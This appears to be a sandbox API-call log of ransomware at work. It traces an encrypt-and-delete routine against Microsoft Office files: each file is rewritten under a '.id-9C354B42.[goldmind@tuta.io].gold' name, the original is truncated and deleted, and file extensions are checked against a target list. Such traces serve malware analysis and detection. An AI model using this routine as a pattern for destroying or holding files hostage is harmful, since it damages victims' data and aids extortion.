lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString=".zip") returned 4 [0107.065] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".rar") returned 4 [0107.065] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".bz2") returned 4 [0107.065] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".7z") returned 3 [0107.065] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString=".dbf") returned 4 [0107.065] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString=".1cd") returned 4 [0107.065] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString=".jpg") returned 4 [0107.065] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.066] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0107.066] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0107.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.074] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=320928) returned 1 [0107.074] CloseHandle (hObject=0x364) returned 1 [0107.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll")) returned 0x20 [0107.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.074] lstrlenW (lpString=".doc") returned 4 [0107.074] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString=".docx") returned 5 [0107.074] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.074] lstrlenW (lpString=".pdf") returned 4 [0107.074] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString=".xls") returned 4 [0107.074] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString=".xlsx") returned 5 [0107.074] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.074] lstrlenW (lpString=".ppt") returned 4 [0107.074] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.074] lstrlenW (lpString=".zip") returned 4 [0107.074] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString=".rar") returned 4 [0107.074] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.074] lstrlenW (lpString=".bz2") returned 4 [0107.074] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.074] lstrlenW (lpString=".7z") returned 3 [0107.074] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.074] lstrlenW (lpString=".dbf") returned 4 [0107.074] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.074] lstrlenW (lpString=".1cd") returned 4 [0107.075] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".jpg") returned 4 [0107.075] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".doc") returned 4 [0107.075] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString=".docx") returned 5 [0107.075] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.075] lstrlenW (lpString=".pdf") returned 4 [0107.075] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString=".xls") returned 4 [0107.075] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString=".xlsx") returned 5 [0107.075] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.075] lstrlenW (lpString=".ppt") returned 4 [0107.075] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".zip") returned 4 [0107.075] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString=".rar") returned 4 [0107.075] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.075] lstrlenW (lpString=".bz2") returned 4 [0107.075] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.075] lstrlenW (lpString=".7z") returned 3 [0107.075] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".dbf") returned 4 [0107.075] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".1cd") returned 4 [0107.075] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0107.075] lstrlenW (lpString=".jpg") returned 4 [0107.075] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.075] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0107.075] lstrlenW (lpString="SPACE.VRD") returned 9 [0107.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.076] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1604) returned 1 [0107.076] CloseHandle (hObject=0x364) returned 1 [0107.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 0x20 [0107.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.076] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.076] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.077] GetLastError () returned 0x0 [0107.077] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x644, lpOverlapped=0x0) returned 1 [0107.078] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x650, lpOverlapped=0x0) returned 1 [0107.079] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.079] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0107.079] SetEndOfFile (hFile=0x230) returned 1 [0107.079] CloseHandle (hObject=0x230) returned 1 [0107.079] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.079] SetEndOfFile (hFile=0x364) returned 1 [0107.081] CloseHandle (hObject=0x364) returned 1 [0107.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".doc") returned 4 [0107.082] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString=".docx") returned 5 [0107.082] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0107.082] lstrlenW (lpString=".pdf") returned 4 [0107.082] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString=".xls") returned 4 [0107.082] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0107.082] lstrlenW (lpString=".xlsx") returned 5 [0107.082] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0107.082] lstrlenW (lpString=".ppt") returned 4 [0107.082] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".zip") returned 4 [0107.082] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0107.082] lstrlenW (lpString=".rar") returned 4 [0107.082] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString=".bz2") returned 4 [0107.082] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString=".7z") returned 3 [0107.082] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".dbf") returned 4 [0107.082] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".1cd") returned 4 [0107.082] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".jpg") returned 4 [0107.082] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.082] lstrlenW (lpString=".doc") returned 4 [0107.083] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString=".docx") returned 5 [0107.083] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0107.083] lstrlenW (lpString=".pdf") returned 4 [0107.083] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString=".xls") returned 4 [0107.083] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0107.083] lstrlenW (lpString=".xlsx") returned 5 [0107.083] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0107.083] lstrlenW (lpString=".ppt") returned 4 [0107.083] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.083] lstrlenW (lpString=".zip") returned 4 [0107.083] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0107.083] lstrlenW (lpString=".rar") returned 4 [0107.083] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString=".bz2") returned 4 [0107.083] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString=".7z") returned 3 [0107.083] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0107.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.083] lstrlenW (lpString=".dbf") returned 4 [0107.083] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.083] lstrlenW (lpString=".1cd") returned 4 [0107.083] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0107.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0107.083] lstrlenW (lpString=".jpg") returned 4 [0107.083] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0107.083] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0107.083] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0107.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.084] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=88464) returned 1 [0107.084] CloseHandle (hObject=0x364) returned 1 [0107.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll")) returned 0x20 [0107.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".doc") returned 4 [0107.085] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".docx") returned 5 [0107.085] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0107.085] lstrlenW (lpString=".pdf") returned 4 [0107.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".xls") returned 4 [0107.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".xlsx") returned 5 [0107.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0107.085] lstrlenW (lpString=".ppt") returned 4 [0107.085] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".zip") returned 4 [0107.085] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".rar") returned 4 [0107.085] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".bz2") returned 4 [0107.085] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.085] lstrlenW (lpString=".7z") returned 3 [0107.085] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".dbf") returned 4 [0107.085] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".1cd") returned 4 [0107.085] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".jpg") returned 4 [0107.085] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".doc") returned 4 [0107.085] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".docx") returned 5 [0107.085] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0107.085] lstrlenW (lpString=".pdf") returned 4 [0107.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".xls") returned 4 [0107.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".xlsx") returned 5 [0107.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0107.085] lstrlenW (lpString=".ppt") returned 4 [0107.085] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.085] lstrlenW (lpString=".zip") returned 4 [0107.085] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".rar") returned 4 [0107.085] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.085] lstrlenW (lpString=".bz2") returned 4 [0107.085] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.085] lstrlenW (lpString=".7z") returned 3 [0107.086] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.086] lstrlenW (lpString=".dbf") returned 4 [0107.086] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.086] lstrlenW (lpString=".1cd") returned 4 [0107.086] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0107.086] lstrlenW (lpString=".jpg") returned 4 [0107.086] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.086] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0107.086] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0107.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.087] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=281448) returned 1 [0107.087] CloseHandle (hObject=0x364) returned 1 [0107.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 0x20 [0107.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.087] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.087] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.088] GetLastError () returned 0x0 [0107.088] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x44b68, lpOverlapped=0x0) returned 1 [0107.094] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x44b70, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x44b70, lpOverlapped=0x0) returned 1 [0107.098] ReadFile (in: hFile=0x364, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.098] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.098] SetEndOfFile (hFile=0x230) returned 1 [0107.099] CloseHandle (hObject=0x230) returned 1 [0107.099] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.099] SetEndOfFile (hFile=0x364) returned 1 [0107.562] CloseHandle (hObject=0x364) returned 1 [0107.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 1 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.682] lstrlenW (lpString=".doc") returned 4 [0107.682] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString=".docx") returned 5 [0107.682] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0107.682] lstrlenW (lpString=".pdf") returned 4 [0107.682] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString=".xls") returned 4 [0107.682] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.682] lstrlenW (lpString=".xlsx") returned 5 [0107.682] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0107.682] lstrlenW (lpString=".ppt") returned 4 [0107.682] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.682] lstrlenW (lpString=".zip") returned 4 [0107.682] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.682] lstrlenW (lpString=".rar") returned 4 [0107.682] lstrcmpiW (lpString1=".rar", 